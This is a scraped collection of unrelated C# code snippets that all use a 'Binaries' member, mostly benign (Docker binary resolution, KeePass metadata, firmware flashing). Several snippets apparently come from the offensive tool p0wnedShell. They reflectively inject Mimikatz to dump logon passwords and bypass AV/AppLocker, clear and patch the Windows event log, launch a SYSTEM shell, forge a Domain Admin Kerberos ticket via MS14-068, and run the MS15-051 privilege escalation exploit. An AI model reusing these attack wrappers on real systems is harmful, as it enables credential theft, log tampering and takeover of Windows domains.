Example #1
0
        public DockerBinariesResolver(SudoMechanism sudo, string password, params string[] paths)
        {
            Binaries          = ResolveFromPaths(sudo, password, paths).ToArray();
            MainDockerClient  = Binaries.FirstOrDefault(x => !x.IsToolbox && x.Type == DockerBinaryType.DockerClient);
            MainDockerCompose = Binaries.FirstOrDefault(x => !x.IsToolbox && x.Type == DockerBinaryType.Compose);
            MainDockerMachine = Binaries.FirstOrDefault(x => !x.IsToolbox && x.Type == DockerBinaryType.Machine);
            MainDockerCli     = Binaries.FirstOrDefault(x => !x.IsToolbox && x.Type == DockerBinaryType.Cli);
            HasToolbox        = Binaries.Any(x => x.IsToolbox);

            if (null == MainDockerClient)
            {
                Logger.Log("Failed to find docker client binary - please add it to your path");
                throw new FluentDockerException("Failed to find docker client binary - please add it to your path");
            }

            if (null == MainDockerCompose)
            {
                Logger.Log("Failed to find docker-compose client binary - please add it to your path");
            }

            if (null == MainDockerMachine)
            {
                Logger.Log(
                    "Failed to find docker-machine client binary - " +
                    "please add it to your path. If you're running docker " +
                    "2.2.0 or later you have to install it using " +
                    "https://github.com/docker/machine/releases");
            }
        }
Example #2
0
        private void WriteToDb(IBinary binary)
        {
            object fileLock = LockFile(binary.Url);

            using (var db = new BinariesEntities())
            {
                lock (fileLock)
                {
                    var binData = db.Binaries
                                  .Where(bin => bin.ComponentUri == binary.Id).FirstOrDefault();
                    if (binData == null)
                    {
                        binData = new Binaries();
                        db.Binaries.Add(binData);
                    }

                    binData.ComponentUri      = binary.Id;
                    binData.Path              = binary.Url;
                    binData.LastPublishedDate = binary.LastPublishedDate;

                    binData.Content = binary.BinaryData;

                    db.SaveChanges();
                }
            }
        }
Example #3
0
        /// <summary>
        /// Clone the current entry. The returned entry is an exact value copy
        /// of the current entry (including UUID and parent group reference).
        /// All mutable members are cloned.
        /// </summary>
        /// <returns>Exact value clone. All references to mutable values changed.</returns>
        public new PxEntry CloneDeep()
        {
            PxEntry peNew = new PxEntry(false, false);

            peNew.Uuid            = Uuid; // PwUuid is immutable
            peNew.ParentGroup     = ParentGroup;
            peNew.LocationChanged = LocationChanged;

            peNew.Strings  = Strings.CloneDeep();
            peNew.Binaries = Binaries.CloneDeep();
            peNew.AutoType = AutoType.CloneDeep();
            peNew.History  = History.CloneDeep();

            peNew.IconId         = IconId;
            peNew.CustomIconUuid = CustomIconUuid;

            peNew.ForegroundColor = ForegroundColor;
            peNew.BackgroundColor = BackgroundColor;

            peNew.CreationTime         = CreationTime;
            peNew.LastModificationTime = LastModificationTime;
            peNew.LastAccessTime       = LastAccessTime;
            peNew.ExpiryTime           = ExpiryTime;
            peNew.Expires    = Expires;
            peNew.UsageCount = UsageCount;

            peNew.OverrideUrl = OverrideUrl;

            peNew.Tags = new List <string>(Tags);

            peNew.CustomData = CustomData.CloneDeep();

            return(peNew);
        }
Example #4
0
        public ProcessStartInfo GetStartInfo(string?targetPlatform, Binaries binaries, string comPort)
        {
            var startInfo = new ProcessStartInfo(exePath);

            inner.AppendCliArgs(startInfo.ArgumentList, targetPlatform, binaries, comPort);
            return(startInfo);
        }
        public DockerBinary Resolve(string binary, bool preferMachine = false)
        {
            var type = DockerBinary.Translate(binary);

            if (preferMachine)
            {
                var m = Binaries.FirstOrDefault(x => x.IsToolbox && x.Type == type);
                if (null != m)
                {
                    return(m);
                }
            }

            switch (type)
            {
            case DockerBinaryType.Compose:
                return(MainDockerCompose);

            case DockerBinaryType.DockerClient:
                return(MainDockerClient);

            case DockerBinaryType.Machine:
                return(MainDockerMachine);

            default:
                throw new Exception($"Cannot resolve unknown binary {binary}");
            }
        }
        public DockerBinariesResolver(params string [] paths)
        {
            Binaries          = ResolveFromPaths(paths).ToArray();
            MainDockerClient  = Binaries.FirstOrDefault(x => !x.IsToolbox && x.Type == DockerBinaryType.DockerClient);
            MainDockerCompose = Binaries.FirstOrDefault(x => !x.IsToolbox && x.Type == DockerBinaryType.Compose);
            MainDockerMachine = Binaries.FirstOrDefault(x => !x.IsToolbox && x.Type == DockerBinaryType.Machine);
            MainDockerCli     = Binaries.FirstOrDefault(x => !x.IsToolbox && x.Type == DockerBinaryType.Cli);
            HasToolbox        = Binaries.Any(x => x.IsToolbox);

            if (null == MainDockerClient)
            {
                Logger.Log("Failed to find docker client binary - please add it to your path");
                throw new FluentDockerException("Failed to find docker client binary - please add it to your path");
            }

            if (null == MainDockerCompose)
            {
                Logger.Log("Failed to find docker-compose client binary - please add it to your path");
            }

            if (null == MainDockerMachine)
            {
                Logger.Log("Failed to find docker-machine client binary - please add it to your path");
            }
        }
Example #7
0
        private void LoadBinaries()
        {
            if (Binaries == null)
            {
                Binaries = new ObservableCollection <Binary>();
            }

            Binaries.Clear();
            Binaries.AddAll(_binaryService.GetByGame(_settingsService.CurrentGame));
        }
        public static void MimiShell()
        {
            string[] toPrint = { "* Reflectively load Mimikatz executable into Memory                 *",
                                 "* and bypass AV/AppLocker.                                          *" };
            Program.PrintBanner(toPrint);

            Console.WriteLine("[+] Please wait until loaded...\n");
            BinaryLoader.LoadBinary(Binaries.Mimikatz());

            return;
        }
Example #9
0
 private void _binaryService_ItemsChanged(object sender, RepositoryChangedEventArgs repositoryChangedEventArgs)
 {
     if (repositoryChangedEventArgs.RepositoryActionType == RepositoryActionType.Added)
     {
         Binaries.Add(repositoryChangedEventArgs.Entity as Binary);
     }
     else
     {
         Binaries.Remove(repositoryChangedEventArgs.Entity as Binary);
     }
 }
Example #10
0
        public override void PopulateChildren(XElement xml, IRandomNumberGenerator rng, KdbxSerializationParameters parameters)
        {
            xml.Add(GetKeePassNode("Generator", Generator, parameters));
            if (parameters.UseXmlHeaderAuthentication && HeaderHash != null)
            {
                xml.Add(GetKeePassNode("HeaderHash", HeaderHash, parameters));
            }

            xml.Add(
                GetKeePassNode("DatabaseName", DatabaseName, parameters),
                GetKeePassNode("DatabaseNameChanged", DatabaseNameChanged, parameters),
                GetKeePassNode("DatabaseDescription", DatabaseDescription, parameters),
                GetKeePassNode("DatabaseDescriptionChanged", DatabaseDescriptionChanged, parameters),
                GetKeePassNode("DefaultUserName", DefaultUserName, parameters),
                GetKeePassNode("DefaultUserNameChanged", DefaultUserNameChanged, parameters),
                GetKeePassNode("MaintenanceHistoryDays", MaintenanceHistoryDays, parameters),
                GetKeePassNode("Color", DbColor, parameters),
                GetKeePassNode("MasterKeyChanged", MasterKeyChanged, parameters),
                GetKeePassNode("MasterKeyChangeRec", MasterKeyChangeRec, parameters),
                GetKeePassNode("MasterKeyChangeForce", MasterKeyChangeForce, parameters),
                MemoryProtection.ToXml(rng, parameters)
                );

            if (CustomIcons != null)
            {
                xml.Add(CustomIcons.ToXml(rng, parameters));
            }

            xml.Add(
                GetKeePassNode("RecycleBinEnabled", RecycleBinEnabled, parameters),
                GetKeePassNode("RecycleBinUUID", RecycleBinUuid, parameters),
                GetKeePassNode("RecycleBinChanged", RecycleBinChanged, parameters),
                GetKeePassNode("EntryTemplatesGroup", EntryTemplatesGroup, parameters),
                GetKeePassNode("EntryTemplatesGroupChanged", EntryTemplatesGroupChanged, parameters),
                GetKeePassNode("HistoryMaxItems", HistoryMaxItems, parameters),
                GetKeePassNode("HistoryMaxSize", HistoryMaxSize, parameters),
                GetKeePassNode("LastSelectedGroup", LastSelectedGroup, parameters),
                GetKeePassNode("LastTopVisibleGroup", LastTopVisibleGroup, parameters)
                );

            // Only both writing this node if we have binaries (compat issue with KeePass)
            if (parameters.BinariesInXml && Binaries != null && Binaries.Binaries.Any())
            {
                xml.Add(Binaries.ToXml(rng, parameters));
            }

            if (CustomData != null)
            {
                xml.Add(CustomData.ToXml(rng, parameters));
            }
        }
Example #11
0
        private void _binaryService_ItemsChanged(object sender, RepositoryChangedEventArgs repositoryChangedEventArgs)
        {
            Binary binary = repositoryChangedEventArgs.Entity as Binary;

            if (!binary.Game.Equals(_settingsService.CurrentGame))
            {
                return;
            }

            if (repositoryChangedEventArgs.RepositoryActionType == RepositoryActionType.Added)
            {
                Binaries.Add(repositoryChangedEventArgs.Entity as Binary);
            }
            else
            {
                Binaries.Remove(repositoryChangedEventArgs.Entity as Binary);
            }
        }
Example #12
0
        public DockerBinary Resolve(string binary, bool preferMachine = false)
        {
            var type = DockerBinary.Translate(binary);

            if (preferMachine)
            {
                var m = Binaries.FirstOrDefault(x => x.IsToolbox && x.Type == type);
                if (null != m)
                {
                    return(m);
                }
            }

            DockerBinary resolved = null;

            switch (type)
            {
            case DockerBinaryType.Compose:
                resolved = MainDockerCompose;
                break;

            case DockerBinaryType.DockerClient:
                resolved = MainDockerClient;
                break;

            case DockerBinaryType.Machine:
                resolved = MainDockerMachine;
                break;

            case DockerBinaryType.Cli:
                resolved = MainDockerCli;
                break;

            default:
                throw new FluentDockerException($"Cannot resolve unknown binary {binary}");
            }

            if (null == resolved)
            {
                throw new FluentDockerException($"Could not resolve binary {binary} is it installed on the local system?");
            }

            return(resolved);
        }
Example #13
0
        public static void PatchEventLog()
        {
            string[] toPrint = { "* Use Mimikatz to Clear and Patch Eventlog Service.                 *" };
            Program.PrintBanner(toPrint);

            Console.WriteLine("[+] Please wait until loaded...\n");

            string ClearEventLog = "Invoke-ReflectivePEInjection -PEBytes (\"" + Binaries.Mimikatz() + "\" -split ' ') -ExeArgs \"privilege::debug event::drop event::clear\" -ForceASLR";

            try
            {
                P0wnedListener.Execute(ClearEventLog);
            }
            catch (Exception e)
            {
                Console.WriteLine(e.Message);
            }
            return;
        }
Example #14
0
 public Dictionary <char, int> GetOrder()
 {
     if (Binaries.Any())
     {
         var first = Binaries.First();
         var order = new[] { first.Res, first.Left, first.Right }.Distinct().ToIndexed().ToDictionary(i => i.value, i => i.index);
         return(order);
     }
     else if (Unaries.Any())
     {
         var first = Unaries.First();
         var order = new[] { first.Res, first.Right }.ToIndexed().ToDictionary(i => i.value, i => i.index);
         return(order);
     }
     else
     {
         return(new Dictionary <char, int>());
     }
 }
Example #15
0
        public void RebuildDatabase()
        {
            if (!sqlite)
            {
                Database.Delete();
                Database.Create();
            }

            Computers.AddRange(Node.Defaults);
            SaveChanges();
            Binaries.AddRange(Binary.getBinaries());
            ServerAccounts.AddRange(ServerAccount.Defaults);
            SaveChanges();
            var defAcc = ServerAccounts.First();

            defAcc.Nodes.Add(Node.Defaults[0]);
            defAcc.netmap.Add(new ServerAccount.NetMapNode(Node.Defaults[0].ip, "0,0"));
            SaveChanges();
        }
Example #16
0
        public static void MimiShell()
        {
            string[] toPrint = { "* Reflectively load Mimikatz executable into Memory                 *",
                                 "* and bypass AV/AppLocker.                                          *" };
            Program.PrintBanner(toPrint);

            Console.WriteLine("[+] Please wait until loaded...\n");

            string InvokeMimikatz = "Invoke-ReflectivePEInjection -PEBytes (\"" + Binaries.Mimikatz() + "\" -split ' ') -ExeArgs \"privilege::debug sekurlsa::logonpasswords\" -ForceASLR";

            try
            {
                P0wnedListener.Execute(InvokeMimikatz);
            }
            catch (Exception e)
            {
                Console.WriteLine(e.Message);
            }
            return;
        }
Example #17
0
        public CnfProductions Lookup(CnfProductions left, CnfProductions right)
        {
            var reductions =
                Binaries.
                Aggregate
                (
                    new CnfProductions(this),
                    (found, production)
                    =>
            {
                if (left.Contains(production.Rhs1) && right.Contains(production.Rhs2))
                {
                    found.Add(production.Lhs);
                }
                return(found);
            }
                );

            return((reductions != null) && (reductions.Count > 0) ? reductions : null);
        }
Example #18
0
        public static void ReactShell()
        {
            string[] toPrint = { "* Reflectively load ReactOS executable into Memory                  *",
                                 "* and bypass AV/AppLocker.                                          *" };
            Program.PrintBanner(toPrint);

            Console.WriteLine("[+] Please wait until loaded...\n");

            //string React = "Invoke-ReflectivePEInjection -PEBytes (\"" + Binaries.ReactOS() + "\" -split ' ') -ForceASLR -FuncReturnType Void -Verbose";
            string React = "Invoke-ReflectivePEInjection -PEBytes (\"" + Binaries.ReactOS() + "\" -split ' ') -ForceASLR -FuncReturnType Void";

            try
            {
                P0wnedListener.Execute(React);
            }
            catch (Exception e)
            {
                Console.WriteLine(e.Message);
            }
        }
Example #19
0
        public static void SystemShell(string osArch)
        {
            string[] toPrint = { "* Get a SYSTEM shell using EasySystem (NamedPipe Impersonation)     *" };
            Program.PrintBanner(toPrint);

            Console.WriteLine("[+] Please wait for our SYSTEM PowerShell to Popup...\n");
            string SystemShell = "Invoke-ReflectivePEInjection -PEBytes (\"" + Binaries.Easy_System(osArch) + "\" -split ' ') -ForceASLR";

            try
            {
                P0wnedListener.Execute(SystemShell);
            }
            catch (Exception e)
            {
                Console.WriteLine(e.Message);
            }

            Console.WriteLine("[+] Press Enter to Continue...");
            Console.ReadLine();

            return;
        }
Example #20
0
        internal static FlashPlan GetPlan(BinarySet set, IReadOnlyCollection <ISetTool> tools)
        {
            (ISetTool tool, Binaries handled, Binaries remaining)? GetNextTool(string?targetPlatform, Binaries binaries) =>
            tools.Select(tool =>
            {
                var(handled, remaining) = tool.CanHandle(targetPlatform, binaries);
                return(tool, handled, remaining);
            }).SkipWhile(t => !t.handled.Any())
            .Take(1)
            .Cast <(ISetTool, Binaries, Binaries)?>()
            .FirstOrDefault();

            List <(ISetTool, Binaries)> output = new();
            Binaries remaining = set.Binaries;

            while (remaining.Any())
            {
                if (GetNextTool(set.TargetPlatform, remaining) is (ISetTool, Binaries, Binaries)value && value.handled.Any())
                {
                    output.Add((value.tool, value.handled));
                    remaining = value.remaining;
                }
Example #21
0
        /// <summary>
        ///     Gets the binary data.
        /// </summary>
        /// <param name="context">The context.</param>
        /// <returns></returns>
        public IEnumerable <BinaryDataEntry> GetBinaryData(IProcessingContext context)
        {
            var tokenProvider = new Sha256FileTokenProvider();

            /////
            // Get the binaries that belong to the active solution and convert them into the BinaryDataEntry format.
            /////
            return(Binaries.Where(pair => pair.Key == ActiveSolution).Select(pair =>
            {
                string hash;

                using (var stream = File.OpenRead(pair.Value))
                {
                    hash = tokenProvider.ComputeToken(stream);
                }

                return new BinaryDataEntry
                {
                    Data = File.ReadAllBytes(pair.Value),
                    DataHash = hash
                };
            }));
        }
Example #22
0
        public static void MS14_068()
        {
            string[] toPrint = { "* Own AD in 60 seconds using the MS14-068 Kerberos Vulnerability    *" };
            Program.PrintBanner(toPrint);

            string DomainJoined = String.Empty;

            try
            {
                DomainJoined = Domain.GetComputerDomain().Name;
            }
            catch
            {
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine("[+] Looks like our machine is not joined to a Windows Domain.\n");
                Console.ResetColor();
                Console.WriteLine("Press Enter to Continue...");
                Console.ReadLine();
                return;
            }

            Domain           domain     = Domain.GetCurrentDomain();
            DomainController Current_DC = domain.PdcRoleOwner;
            string           DomainName = domain.ToString();

            Console.WriteLine("[+] First return the name of our current domain.\n");
            Console.ForegroundColor = ConsoleColor.Green;
            Console.WriteLine(DomainName);
            Console.ResetColor();

            Console.WriteLine("\n[+] For this attack to succeed, we need a valid AD user account and password.");
            Console.Write("[+] Do you have a valid user account and password? (y/n) > ");
            string User     = null;
            string Password = null;
            string input    = Console.ReadLine();

            switch (input.ToLower())
            {
            case "y":
                Console.Write("\n[+] Please enter a username > ");
                Console.ForegroundColor = ConsoleColor.Green;
                User = Console.ReadLine();
                Console.ResetColor();
                if (User.Length < 2)
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("\n[+] This is not a valid user account, please try again\n");
                    Console.ResetColor();
                    Console.WriteLine("Press Enter to Continue...");
                    Console.ReadLine();
                    return;
                }
                Console.Write("\n[+] Please enter a password > ");
                Console.ForegroundColor = ConsoleColor.Green;
                Password = Program.ReadPassword();
                Console.ResetColor();
                if (Password.Length < 2)
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("\n[+] This is not a valid password, please try again\n");
                    Console.ResetColor();
                    Console.WriteLine("Press Enter to Continue...");
                    Console.ReadLine();
                    return;
                }
                break;

            case "n":
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine("\n[+] First try to get a username and password.\n");
                Console.ResetColor();
                Console.WriteLine("Press Enter to Continue...");
                Console.ReadLine();
                return;

            default:
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine("\n[+] Wrong choice, please try again!\n");
                Console.ResetColor();
                Console.WriteLine("Press Enter to Continue...");
                Console.ReadLine();
                return;
            }

            Console.ForegroundColor = ConsoleColor.Red;
            Console.WriteLine("\n[+] Now wait while re-writing our user ticket to be a Domain Admin ticket (forged PAC)...\n");
            Console.ResetColor();

            string MS14_068 = "Invoke-ReflectivePEInjection -PEBytes (\"" + Binaries.MS14_068() + "\" -split ' ') -ExeArgs \"/domain:" + DomainName + " /user:"******" /password:"******" /ptt\"";

            try
            {
                P0wnedListener.Execute(MS14_068);
            }
            catch (Exception e)
            {
                Console.WriteLine(e.Message);
            }

            string DC_Listing = "Get-ChildItem \\\\" + Current_DC + "\\C$";
            string SuperPower = null;

            Console.ForegroundColor = ConsoleColor.Red;
            Console.WriteLine("\n[+] let's check if our exploit succeeded:\n");
            Console.ResetColor();
            try
            {
                SuperPower = RunPSCommand(DC_Listing);
            }
            catch (Exception e)
            {
                Console.WriteLine(e.Message);
            }
            if (SuperPower.Length <= 5)
            {
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine("[+] Exploit failed, Wrong Username/Password combination or the Domain Controllers are already patched!\n");
                Console.ResetColor();
            }
            else
            {
                Console.ForegroundColor = ConsoleColor.Green;
                Console.WriteLine("\n[+] OwYeah, " + User + " you are in Full Control of the Domain :)\n");
                Console.ResetColor();
                Console.WriteLine(RunPSCommand(DC_Listing));
            }
            Console.WriteLine("Press Enter to Continue...");
            Console.ReadLine();
            return;
        }
Example #23
0
 public BinariesTest()
 {
     _binaries = new Binaries();
 }
        public static void MS15_051()
        {
            string[] toPrint = { "* Get into Ring0 using the MS15-051 Vulnerability.                  *" };

            Program.PrintBanner(toPrint);

            string osArch = "x86";

            if (Pshell.EnvironmentHelper.Is64BitOperatingSystem())
            {
                osArch = "x64";
            }

            string procArch = "x86";

            if (Pshell.EnvironmentHelper.Is64BitProcess())
            {
                procArch = "x64";
            }

            //detect if the correct architecture is being used
            if (procArch != osArch)
            {
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine("[+] Your OS Architectecture does not match the version of p0wnedShell you run.");
                Console.WriteLine("[+] To run this Exploit, you should run the " + osArch + " version of p0wnedShell\n");
                Console.ResetColor();
                Console.WriteLine("Press Enter to Continue...");
                Console.ReadLine();
                return;
            }

            OperatingSystem OS = System.Environment.OSVersion;
            string          LatestOSVersion    = "6.3";
            decimal         latestOSVersionDec = decimal.Parse(LatestOSVersion, CultureInfo.InvariantCulture);

            if (Pshell.EnvironmentHelper.RtlGetVersion() > latestOSVersionDec)
            {
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine("[+] MS15-051 is only exploitable on Windows 8.1/2012 R2 or lower.\n");
                Console.ResetColor();
                Console.WriteLine("Press Enter to Continue...");
                Console.ReadLine();
                return;
            }

            Console.ForegroundColor = ConsoleColor.Yellow;
            Console.WriteLine("This Exploit can only succeed when patch KB3045171 is not installed on this system.\n");
            Console.ResetColor();
            Console.Write("[+] Please wait until loaded...\n");
            Console.WriteLine();

            string MS15_051 = "Invoke-ReflectivePEInjection -PEBytes (\"" + Binaries.MS15_051(osArch) + "\" -split ' ') -Verbose";

            try
            {
                P0wnedListener.Execute(MS15_051);
            }
            catch (Exception e)
            {
                Console.WriteLine(e.Message);
            }

            string Whoami      = "whoami";
            string SystemPower = null;

            Console.ForegroundColor = ConsoleColor.Red;
            Console.WriteLine("\n[+] let's check if our exploit succeeded:\n");
            Console.ResetColor();
            try
            {
                SystemPower = Pshell.RunPSCommand(Whoami);
            }
            catch (Exception e)
            {
                Console.WriteLine(e.Message);
            }
            if (SystemPower.IndexOf("system", 0, StringComparison.OrdinalIgnoreCase) != -1)
            {
                Console.ForegroundColor = ConsoleColor.Green;
                Console.WriteLine("[+] The Ring has awoken, it’s heard its masters call :)\n");
                Console.ResetColor();
                Console.WriteLine("Press Enter to Continue and Get The Party Started...");
                Console.ReadLine();
            }
            else
            {
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine("[+] Exploit failed, System probably already patched!\n");
                Console.ResetColor();
                Console.WriteLine("Press Enter to Continue...");
                Console.ReadLine();
            }
            return;
        }
Example #25
0
        public override bool Equals(object obj)
        {
            KdbxMetadata other = obj as KdbxMetadata;

            if (other == null)
            {
                return(false);
            }

            if (Generator != other.Generator)
            {
                return(false);
            }

            if (DatabaseName != other.DatabaseName || DatabaseDescription != other.DatabaseDescription)
            {
                return(false);
            }

            if (DatabaseNameChanged != other.DatabaseNameChanged || DatabaseDescriptionChanged != other.DatabaseDescriptionChanged)
            {
                return(false);
            }

            if (DefaultUserName != other.DefaultUserName || DefaultUserNameChanged != other.DefaultUserNameChanged)
            {
                return(false);
            }

            if (MaintenanceHistoryDays != other.MaintenanceHistoryDays)
            {
                return(false);
            }

            if (DbColor != other.DbColor)
            {
                return(false);
            }

            if (MasterKeyChanged != other.MasterKeyChanged ||
                MasterKeyChangeRec != other.MasterKeyChangeRec ||
                MasterKeyChangeForce != other.MasterKeyChangeForce)
            {
                return(false);
            }

            if (!MemoryProtection.Equals(other.MemoryProtection))
            {
                return(false);
            }

            if (CustomIcons != null)
            {
                if (!CustomIcons.Equals(other.CustomIcons))
                {
                    return(false);
                }
            }
            else
            {
                if (other.CustomIcons != null)
                {
                    return(false);
                }
            }

            if (RecycleBinEnabled != other.RecycleBinEnabled ||
                !RecycleBinUuid.Equals(other.RecycleBinUuid) ||
                RecycleBinChanged != other.RecycleBinChanged)
            {
                return(false);
            }

            if (!EntryTemplatesGroup.Equals(other.EntryTemplatesGroup) || EntryTemplatesGroupChanged != other.EntryTemplatesGroupChanged)
            {
                return(false);
            }

            if (HistoryMaxItems != other.HistoryMaxItems || HistoryMaxSize != other.HistoryMaxSize)
            {
                return(false);
            }

            if (!LastSelectedGroup.Equals(other.LastSelectedGroup) || !LastTopVisibleGroup.Equals(other.LastTopVisibleGroup))
            {
                return(false);
            }

            if (Binaries != null)
            {
                if (!Binaries.Equals(other.Binaries))
                {
                    return(false);
                }
            }
            else
            {
                if (other.Binaries != null)
                {
                    return(false);
                }
            }

            if (CustomData != null)
            {
                if (!CustomData.Equals(other.CustomData))
                {
                    return(false);
                }
            }
            else
            {
                if (other.CustomData != null)
                {
                    return(false);
                }
            }

            return(true);
        }
Example #26
0
 public override void AppendCliArgs(ICollection <string> processArgs, string?targetPlatform, Binaries binaries, string comPort)
 {
     throw new NotImplementedException("ESP8266 upload.py");
 }
Example #27
0
 public override void AppendCliArgs(ICollection <string> processArgs, string?targetPlatform, Binaries binaries, string comPort)
 {
     processArgs.Add(@"-C");
     processArgs.Add(configPath);
     processArgs.Add("-p" + targetPlatform);
     processArgs.Add("-carduino");
     processArgs.Add("-P");
     processArgs.Add(comPort);
     processArgs.Add("-b115200");
     processArgs.Add("-D");
     // Note that we don't quote the path here, because ArgumentList will inappropriately escape the quotes.
     processArgs.Add($"-Uflash:w:{binaries.Single().Path}:i");
 }
Example #28
0
        public override (Binaries handled, Binaries remaining) CanHandle(string?targetPlatform, Binaries binaries)
        {
            var first = binaries.First();

            if (CanHandle(targetPlatform, first))
            {
                return(new[] { first }, binaries.Skip(1).ToList());
            }
            else
            {
                return(Array.Empty <Binary>(), binaries);
            }
        }
Example #29
0
 public override (Binaries handled, Binaries remaining) CanHandle(string?targetPlatform, Binaries binaries)
 {
     throw new NotImplementedException("ESP8266 upload.py");
 }
Example #30
0
 private void LoadBinaries()
 {
     Binaries.Clear();
     Binaries.AddAll(_binaryService.GetByGame(_settingsService.CurrentGame));
 }